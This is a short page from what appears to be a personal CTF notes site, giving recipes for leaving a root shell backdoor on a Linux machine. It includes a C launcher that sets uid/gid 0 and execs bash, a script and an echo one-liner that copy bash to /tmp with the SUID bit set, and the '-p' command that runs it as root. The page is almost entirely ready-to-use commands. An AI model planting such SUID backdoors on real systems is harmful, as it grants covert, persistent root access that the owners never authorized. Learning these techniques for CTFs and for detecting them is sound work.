> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/exploit/creating-exploits/bash-misuse.md).

# Bash Misuse

## Bash Misuse

### Bash launcher in C

```c
#include <stdlib.h>
#include <unistd.h> 

int main() {
        setgid(0);
        setuid(0);
        system("/bin/bash");
        return 0;
}
```

1. Create the file with any text editor
2. Compile it with `gcc exec_bash.c -o exec_bash`
3. Make sure you are running as `root`
4. Set the SUID-bit with `chmod +s exec_bash`
5. Verify permissions with `ls -l exec_bash`

### Create bash SUID-binary

Run the following as a script or as regular commands as a one-liner to create a SUID-binary called `/tmp/cajac`

```bash
#!/bin/bash

cp /bin/bash /tmp/cajac
chmod +xs /tmp/cajac
```

{% hint style="info" %}
WARNING

The sticky bit on the `tmp` directory can prevent you from seeing the file.
{% endhint %}

One-liner version of the above

```bash
echo -e '#!/bin/bash\ncp /bin/bash /tmp/cajac\nchmod +xs /tmp/cajac' > /the/script.sh
```

#### Execution

To run the shell

```bash
/tmp/cajac -p
```

## Resources

bash - Linux manual page: <https://www.man7.org/linux/man-pages/man1/bash.1.html>